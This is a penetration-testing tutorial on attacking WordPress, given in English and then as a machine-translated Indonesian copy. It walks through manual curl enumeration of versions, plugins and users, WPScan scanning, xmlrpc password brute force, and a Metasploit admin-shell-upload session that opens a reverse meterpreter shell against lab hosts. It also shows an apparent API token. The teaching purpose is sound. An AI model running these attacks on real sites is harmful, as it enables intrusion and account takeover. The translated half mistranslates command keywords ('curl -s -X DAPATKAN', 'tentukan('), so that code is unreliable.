Basic Wordpress and Wordpress Structure
fireWordpress Structure fire
WordPress can be installed on a Windows, Linux, or Mac OSX host. For this module,
we will focus on a default WordPress installation on an Ubuntu Linux web server.
WordPress requires a fully installed and configured LAMP stack (Linux operating
system, Apache HTTP Server, MySQL database, and the PHP programming language)
before installation on a Linux host. After installation, all WordPress supporting
files and directories will be accessible in the webroot located at /var/www/html.
Below is the directory structure of a default WordPress install, showing the key
files and subdirectories necessary for the website to function properly.
tree -L 1 /var/www/html
├── index.php
├── license.txt
├── readme.html
├── wp-activate.php
├── wp-admin
├── wp-blog-header.php
├── wp-comments-post.php
├── wp-config.php
├── wp-config-sample.php
├── wp-content
├── wp-cron.php
├── wp-includes
├── wp-links-opml.php
├── wp-load.php
├── wp-login.php
├── wp-mail.php
├── wp-settings.php
├── wp-signup.php
├── wp-trackback.php
└── xmlrpc.php
alien Key WordPress Files female_sign
The root directory of WordPress contains files that are needed to configure
WordPress to function correctly.
index.php is the homepage of WordPress.
license.txt contains useful information such as the version WordPress installed.
wp-activate.php is used for the email activation process when setting up a new
WordPress site.
wp-admin folder contains the login page for administrator access and the backend
dashboard. Once a user has logged in, they can make changes to the site based on
their assigned permissions. The login page can be located at one of the following
paths:
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
This file can also be renamed to make it more challenging to find the login page.
xmlrpc.php is a file representing a feature of WordPress that enables data to be
transmitted with HTTP acting as the transport mechanism and XML as the encoding
mechanism. This type of communication has been replaced by the WordPress REST API.
WordPress Configuration File
WordPress Configuration File
The wp-config.php file contains information required by WordPress to connect to the
database, such as the database name, database host, username and password,
authentication keys and salts, and the database table prefix. This configuration
file can also be used to activate DEBUG mode, which can useful in troubleshooting.
wp-config.php
Code: php
<?php
/** <SNIP> */
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );
/** MySQL database username */
define( 'DB_USER', 'username_here' );
/** MySQL database password */
define( 'DB_PASSWORD', 'password_here' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Authentication Unique Keys and Salts */
/* <SNIP> */
define( 'AUTH_KEY', 'put your unique phrase here' );
define( 'SECURE_AUTH_KEY', 'put your unique phrase here' );
define( 'LOGGED_IN_KEY', 'put your unique phrase here' );
define( 'NONCE_KEY', 'put your unique phrase here' );
define( 'AUTH_SALT', 'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT', 'put your unique phrase here' );
define( 'NONCE_SALT', 'put your unique phrase here' );
/** WordPress Database Table prefix */
$table_prefix = 'wp_';
/** For developers: WordPress debugging mode. */
/** <SNIP> */
define( 'WP_DEBUG', false );
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
Key WordPress Directories
The wp-content folder is the main directory where plugins and themes are stored.
The subdirectory uploads/ is usually where any files uploaded to the platform are
stored. These directories and files should be carefully enumerated as they may lead
to contain sensitive data that could lead to remote code execution or exploitation
of other vulnerabilities or misconfigurations.
WP-Content
tree -L 1 /var/www/html/wp-content
├── index.php
├── plugins
└── themes
WP-Includes
wp-includes contains everything except for the administrative components and the
themes that belong to the website. This is the directory where core files are
stored, such as certificates, fonts, JavaScript files, and widgets.
tree -L 1 /var/www/html/wp-includes
├── theme.php
├── update.php
├── user.php
├── vars.php
├── version.php
├── widgets
├── widgets.php
├── wlwmanifest.xml
├── wp-db.php
└── wp-diff.php
WordPress User Roles
There are five types of users in a standard WordPress installation.
Role Description
Administrator This user has access to administrative features within the website.
This includes adding and deleting users and posts, as well as
editing source code.
Editor An editor can publish and manage posts, including the posts of other
users.
Author Authors can publish and manage their own posts.
Contributor These users can write and manage their own posts but cannot publish
them.
Subscriber These are normal users who can browse posts and edit their profiles.
Gaining access as an administrator is usually needed to obtain code execution on
the server. However, editors and authors might have access to certain vulnerable
plugins that normal users do not.
1st_place_medalEnumeration Procedure For Wordpress Website in Manually
Wordpress Version Check
Check Wordpress Version using given below curl command or seeing source code
commnad:
curl -s -X GET http://blog.inlanefreight.com | grep '<meta
name="generator"'
Also check WP Version - CSS and WP Version - JS version from Source Code
arrow_forward Plugins and Themes Enumeration
Commnad For Plugins:
curl -s -X GET http://blog.inlanefreight.com | sed 's/href=/\n/g' | sed 's/src=/\
n/g' | grep 'wp-content/plugins/*' | cut -d"'" -f2
Command For Themmes:
curl -s -X GET http://blog.inlanefreight.com | sed 's/href=/\n/g' | sed 's/src=/\
n/g' | grep 'themes' | cut -d"'" -f2
fast_forward User Enumeration
Enumerating a list of valid users is a critical phase of a WordPress security
assessment. Armed with this list, we may be able to guess default credentials or
perform a brute force password attack. If successful, we may be able to log in to
the WordPress backend as an author or even as an administrator. This access can
potentially be leveraged to modify the WordPress website or even interact with the
underlying web server.
Command :
curl http://blog.inlanefreight.com/wp-json/wp/v2/users
arrow_heading_downEnumeration Procedure For Wordpress Website in Automatically
Using wpscan
WPScan is an automated WordPress scanner and enumeration tool. It determines if the
various themes and plugins used by a WordPress site are outdated or vulnerable. It
is installed by default on Parrot OS ,Kali OS but can also be installed manually
with gem gem install wpscan Once the installation completes, we can issue a command
such as wpscan --hh to verify the installation. This command will show us the usage
menu with all of the available command-line switches available.
fireEnumerating a Website with WPScan atom_symbol
The --enumerate flag is used to enumerate various components of the WordPress
application such as plugins, themes, and users. By default, WPScan enumerates
vulnerable plugins, themes, users, media, and backups. However, specific arguments
can be supplied to restrict enumeration to specific components. For example, all
plugins can be enumerated using the arguments --enumerate ap. Let's run a normal
enumeration scan against a WordPress website. Command :
wpscan --url http://blog.inlanefreight.com --enumerate --api-token api-
token-value
Example :
wpscan --url http://10.129.2.37/ --enumerate --api-token
cs0QRHwsYE6RvLd6SaHDhI1dmNX8ZVLEx0Fb7mNid9s
eyesNote: Api Token Generator Link https://wpscan.com/
heavy_check_mark Exploiting a Vulnerable Plugin
If we are checking and testing properly of our target wordpress website and if
target wordpress website is vulneable we will see some CVE or Exploite information
after using above wpscan command
ballot_box_with_checkWordPress User Bruteforce
WPScan can be used to brute force usernames and passwords. The tool uses two kinds
of login brute force attacks, xmlrpc and wp-login. The wp-login method will attempt
to brute force the normal WordPress login page, while the xmlrpc method uses the
WordPress API to make login attempts through /xmlrpc.php. The xmlrpc method is
preferred as it is faster.
Command :
wpscan --password-attack xmlrpc -t 20 -U admin, david -P passwords.txt --url
http://blog.inlanefreight.com
eyeNote: use username and password in http://sitename/login path
fireRemote Code Execution (RCE) via the Theme Editor fire
With administrative access to WordPress, we can modify the PHP source code to
execute system commands. To perform this attack, log in to WordPress with the
administrator credentials, which should redirect us to the admin panel. Click on
Appearance on the side panel and select Theme Editor. This page will allow us to
edit the PHP source code directly. We should select an inactive theme in order to
avoid corrupting the main theme.
fireAttacking WordPress with Metasploit fire
We can use the Metasploit Framework (MSF) to obtain a reverse shell on the target
automatically. This requires valid credentials for an account that has sufficient
rights to create files on the webserver.
To obtain the reverse shell, we can use the wp_admin_shell_upload module. We can
easily search for it inside MSF:
msf5 > search wp_admin
Matching Modules
0 exploit/unix/webapp/wp_admin_shell_upload 2015-02-21 excellent Yes WordPress
Admin Shell Upload
Module Selection:
msf5 > use 0
msf5 exploit(unix/webapp/wp_admin_shell_upload) >
Module Options
msf5 exploit(unix/webapp/wp_admin_shell_upload) > options
Module options (exploit/unix/webapp/wp_admin_shell_upload):
PASSWORD yes The WordPress password to authenticate with
Proxies no A proxy chain of format
type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier,
or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
USERNAME yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 WordPress
set and Exploitation
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts blog.inlanefreight.com
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set username admin
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set password Winter2020
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set lhost 10.10.16.8
msf5 exploit(unix/webapp/wp_admin_shell_upload) > run
meterpreter > getuid Server username: www—data (33)
prayPracticing Sites:
https://tryhackme.com/room/allinonemj
https://tryhackme.com/room/wordpresscve202129447
https://tryhackme.com/room/blog
fireworks Website Security Testing Site:
https://sitecheck.sucuri.net/
Install https://github.com/cyberteach360/Hacking-Wordpress
indo-----------------------------------------------------------------------
Dasar Wordpress dan Struktur Wordpress
fireWordpress Struktur api
WordPress dapat diinstal pada host Windows, Linux, atau Mac OSX. Untuk modul ini,
kami akan fokus pada instalasi WordPress default di server web Ubuntu Linux.
WordPress memerlukan tumpukan LAMP yang terinstal dan terkonfigurasi sepenuhnya
(sistem operasi Linux, Server HTTP Apache, database MySQL, dan bahasa pemrograman
PHP) sebelum penginstalan pada host Linux. Setelah instalasi, semua file dan
direktori pendukung WordPress akan dapat diakses di webroot yang terletak di
/var/www/html.
Di bawah ini adalah struktur direktori instalasi WordPress default, menunjukkan
file kunci dan subdirektori yang diperlukan agar situs web berfungsi dengan baik.
pohon -L 1 /var/www/html
├── indeks.php
├── lisensi.txt
├── readme.html
├── wp-aktivasi.php
├── wp-admin
├── wp-blog-header.php
├── wp-komentar-post.php
├── wp-config.php
├── wp-config-sample.php
├── konten-wp
├── wp-cron.php
├── termasuk wp
├── wp-links-opml.php
├── wp-load.php
├── wp-login.php
├── wp-mail.php
├── wp-settings.php
├── wp-signup.php
├── wp-trackback.php
└── xmlrpc.php
File WordPress Key alien female_sign
Direktori root WordPress berisi file yang diperlukan untuk mengonfigurasi WordPress
agar berfungsi dengan benar.
index.php adalah beranda WordPress.
license.txt berisi informasi berguna seperti versi yang diinstal WordPress.
wp-activate.php digunakan untuk proses aktivasi email saat menyiapkan situs
WordPress baru.
folder wp-admin berisi halaman login untuk akses administrator dan dashboard
backend. Setelah pengguna masuk, mereka dapat membuat perubahan ke situs
berdasarkan izin yang diberikan kepada mereka. Halaman login dapat ditemukan di
salah satu jalur berikut:
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
File ini juga dapat diganti namanya agar lebih sulit menemukan halaman login.
xmlrpc.php adalah file yang mewakili fitur WordPress yang memungkinkan pengiriman
data dengan HTTP bertindak sebagai mekanisme transportasi dan XML sebagai mekanisme
pengkodean. Jenis komunikasi ini telah digantikan oleh WordPress REST API.
File Konfigurasi WordPress
File Konfigurasi WordPress
File wp-config.php berisi informasi yang diperlukan oleh WordPress untuk terhubung
ke database, seperti nama database, host database, nama pengguna dan kata sandi,
kunci dan salt autentikasi, dan awalan tabel database. File konfigurasi ini juga
dapat digunakan untuk mengaktifkan mode DEBUG, yang berguna dalam pemecahan
masalah.
wp-config.php
Kode: php
<?php
/** <SNIP> */
/** Nama database untuk WordPress */
define( 'DB_NAME', 'database_name_here' );
/** nama pengguna database MySQL */
define( 'DB_USER', 'username_here' );
/** kata sandi basis data MySQL */
tentukan('DB_PASSWORD', 'kata sandi_di sini');
/** nama host MySQL */
define('DB_HOST', 'localhost');
/** Otentikasi Key dan Salt Unik */
/* <SNIP> */
define( 'AUTH_KEY', 'letakkan frasa unik Anda di sini');
define( 'SECURE_AUTH_KEY', 'letakkan frasa unik Anda di sini');
define( 'LOGGED_IN_KEY', 'letakkan frasa unik Anda di sini');
define( 'NONCE_KEY', 'letakkan frasa unik Anda di sini');
define( 'AUTH_SALT', 'letakkan frasa unik Anda di sini');
define( 'SECURE_AUTH_SALT', 'letakkan frasa unik Anda di sini');
define( 'LOGGED_IN_SALT', 'letakkan frasa unik Anda di sini');
define( 'NONCE_SALT', 'letakkan frasa unik Anda di sini');
/** Awalan Tabel Basis Data WordPress */
$table_prefix = 'wp_';
/** Untuk pengembang: mode debug WordPress. */
/** <SNIP> */
definisikan( 'WP_DEBUG', salah);
/** Jalur absolut ke direktori WordPress. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
/** Menyiapkan var WordPress dan file yang disertakan. */
require_once ABSPATH . 'wp-settings.php';
Direktori WordPress Utama
Folder wp-content adalah direktori utama tempat plugin dan tema disimpan.
Subdirektori uploads/ biasanya tempat file yang diunggah ke platform disimpan.
Direktori dan file ini harus dihitung dengan hati-hati karena dapat berisi data
sensitif yang dapat menyebabkan eksekusi kode jarak jauh atau eksploitasi
kerentanan atau kesalahan konfigurasi lainnya.
WP-Konten
pohon -L 1 /var/www/html/wp-content
├── indeks.php
├── plugin
└── tema
WP-Termasuk
wp-includes berisi segalanya kecuali komponen administratif dan tema milik situs
web. Ini adalah direktori tempat file inti disimpan, seperti sertifikat, font, file
JavaScript, dan widget.
pohon -L 1 /var/www/html/wp-termasuk
├── tema.php
├── perbarui.php
├── pengguna.php
├── vars.php
├── versi.php
├── widget
├── widgets.php
├── wlwmanifest.xml
├── wp-db.php
└── wp-diff.php
Peran Pengguna WordPress
Ada lima jenis pengguna dalam instalasi WordPress standar.
Deskripsi peran
Administrator Pengguna ini memiliki akses ke fitur administratif di dalam situs
web. Ini termasuk menambahkan dan menghapus pengguna dan posting, serta mengedit
kode sumber.
Editor Seorang editor dapat menerbitkan dan mengelola posting, termasuk posting
dari pengguna lain.
Penulis Penulis dapat menerbitkan dan mengelola posting mereka sendiri.
Kontributor Pengguna ini dapat menulis dan mengelola kiriman mereka sendiri tetapi
tidak dapat menerbitkannya.
Subscriber Ini adalah pengguna normal yang dapat menelusuri posting dan mengedit
profil mereka.
Mendapatkan akses sebagai administrator biasanya diperlukan untuk mendapatkan
eksekusi kode di server. Namun, editor dan penulis mungkin memiliki akses ke plugin
rentan tertentu yang tidak dimiliki oleh pengguna biasa.
Prosedur 1st_place_medalEnumeration Untuk Website Wordpress Secara Manual
Cek Versi Wordpress
Periksa Versi Wordpress menggunakan perintah curl di bawah ini atau melihat kode
sumber
perintah:
curl -s -X DAPATKAN http://blog.inlanefreight.com | grep '<meta
name="generator"'
Periksa juga Versi WP - Versi CSS dan Versi WP - Versi JS dari Kode Sumber
arrow_forward Plugin dan Enumerasi Tema
Perintah Untuk Plugin:
curl -s -X DAPATKAN http://blog.inlanefreight.com | sed 's/href=/\n/g' | sed
's/src=/\n/g' | grep 'wp-content/plugins/*' | potong -d"'" -f2
Perintah Untuk Tema:
curl -s -X DAPATKAN http://blog.inlanefreight.com | sed 's/href=/\n/g' | sed
's/src=/\n/g' | grep 'tema' | potong -d"'" -f2
fast_forward Pencacahan Pengguna
Menghitung daftar pengguna yang valid adalah fase penting dari penilaian keamanan
WordPress. Berbekal daftar ini, kami mungkin dapat menebak kredensial default atau
melakukan serangan kata sandi yang kejam. Jika berhasil, kita mungkin bisa masuk ke
backend WordPress sebagai penulis atau bahkan sebagai administrator. Akses ini
berpotensi dimanfaatkan untuk memodifikasi situs web WordPress atau bahkan
berinteraksi dengan server web yang mendasarinya.
Memerintah :
curl http://blog.inlanefreight.com/wp-json/wp/v2/users
arrow_heading_downEnumeration Prosedur Untuk Website Wordpress Secara Otomatis
Menggunakan wpscan
WPScan adalah pemindai WordPress otomatis dan alat enumerasi. Ini menentukan apakah
berbagai tema dan plugin yang digunakan oleh situs WordPress sudah usang atau
rentan. Itu diinstal secara default di Parrot OS ,Kali OS tetapi juga dapat
diinstal secara manual dengan gem gem install wpscan Setelah instalasi selesai,
kita dapat mengeluarkan perintah seperti wpscan --hh untuk memverifikasi instalasi.
Perintah ini akan menunjukkan kepada kita menu penggunaan dengan semua sakelar
baris perintah yang tersedia.
fireEnumerating Website dengan WPScan atom_symbol
Bendera --enumerate digunakan untuk menghitung berbagai komponen aplikasi WordPress
seperti plugin, tema, dan pengguna. Secara default, WPScan menghitung plugin, tema,
pengguna, media, dan cadangan yang rentan. Namun, argumen khusus dapat diberikan
untuk membatasi pencacahan ke komponen tertentu. Misalnya, semua plugin dapat
dihitung menggunakan argumen --enumerate ap. Mari jalankan pemindaian pencacahan
normal terhadap situs web WordPress. Memerintah :
wpscan --url http://blog.inlanefreight.com --menghitung --api-token api-
token-nilai
Contoh :
wpscan --url http://10.129.2.37/ --menghitung --api-token
cs0QRHwsYE6RvLd6SaHDhI1dmNX8ZVLEx0Fb7mNid9s
mataCatatan: Tautan Pembuat Token Api https://wpscan.com/
heavy_check_mark Mengeksploitasi Plugin Rentan
Jika kami memeriksa dan menguji dengan benar situs web wordpress target kami dan
jika situs web target wordpress rentan, kami akan melihat beberapa informasi CVE
atau Eksploitasi setelah menggunakan perintah wpscan di atas
ballot_box_with_checkWordPress Pengguna Bruteforce
WPScan dapat digunakan untuk memaksa nama pengguna dan kata sandi. Alat ini
menggunakan dua jenis serangan brute force login, xmlrpc dan wp-login. Metode wp-
login akan mencoba memaksa halaman login WordPress normal, sedangkan metode xmlrpc
menggunakan API WordPress untuk melakukan upaya login melalui /xmlrpc.php. Metode
xmlrpc lebih disukai karena lebih cepat.
Memerintah :
wpscan --password-attack xmlrpc -t 20 -U admin, david -P passwords.txt --url
http://blog.inlanefreight.com
eyeNote: gunakan nama pengguna dan kata sandi di http://namasitus/jalur login
fireRemote Code Execution (RCE) melalui Api Editor Tema
Dengan akses administratif ke WordPress, kita dapat memodifikasi kode sumber PHP
untuk menjalankan perintah sistem. Untuk melakukan serangan ini, masuk ke WordPress
dengan kredensial administrator, yang seharusnya mengarahkan kita ke panel admin.
Klik Penampilan di panel samping dan pilih Editor Tema. Halaman ini akan
memungkinkan kita untuk mengedit kode sumber PHP secara langsung. Kita harus
memilih tema yang tidak aktif untuk menghindari kerusakan pada tema utama.
fireAttacking WordPress dengan Metasploit fire
Kita bisa menggunakan Metasploit Framework (MSF) untuk mendapatkan reverse shell
pada target secara otomatis. Ini memerlukan kredensial yang valid untuk akun yang
memiliki hak yang memadai untuk membuat file di server web.
Untuk mendapatkan shell terbalik, kita dapat menggunakan modul
wp_admin_shell_upload. Kita dapat dengan mudah mencarinya di dalam MSF:
msf5 > cari wp_admin
Modul yang Cocok
0 exploit/unix/webapp/wp_admin_shell_upload 21-02-2015 sangat baik Ya Unggah Shell
Admin WordPress
Pemilihan Modul:
msf5 > gunakan 0
msf5 exploit (unix/webapp/wp_admin_shell_upload) >
Opsi Modul
msf5 exploit (unix/webapp/wp_admin_shell_upload) > opsi
Opsi modul (eksploitasi/unix/webapp/wp_admin_shell_upload):
SANDI ya Kata sandi WordPress untuk diautentikasi
Proxy no Rantai proxy dengan format tipe:host:port[,type:host:port][...]
RHOSTS ya Host target, pengidentifikasi rentang CIDR, atau file host dengan
sintaks 'file:<path>'
RPORT 80 ya Port target (TCP)
SSL salah tidak Negosiasikan SSL/TLS untuk koneksi keluar
TARGETURI / ya Jalur dasar ke aplikasi wordpress
USERNAME ya Nama pengguna WordPress untuk diautentikasi
VHOST tidak ada host virtual server HTTP
Eksploitasi target:
Nama Id
----
0 WordPress
mengatur dan Eksploitasi
msf5 exploit(unix/webapp/wp_admin_shell_upload) > setel rhosts
blog.inlanefreight.com
msf5 exploit(unix/webapp/wp_admin_shell_upload) > setel nama pengguna admin
msf5 exploit(unix/webapp/wp_admin_shell_upload) > setel kata sandi Winter2020
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set lhost 10.10.16.8
msf5 exploit (unix/webapp/wp_admin_shell_upload) > jalankan
meterpreter > getuid Nama pengguna server: www—data (33)
Tempat Latihan berdoa:
https://tryhackme.com/room/allinonemj
https://tryhackme.com/room/wordpresscve202129447
https://tryhackme.com/room/blog
kembang api Situs Pengujian Keamanan Situs Web:
https://sitecheck.sucuri.net/
Instal https://github.com/cyberteach360/Hacking-Wordpress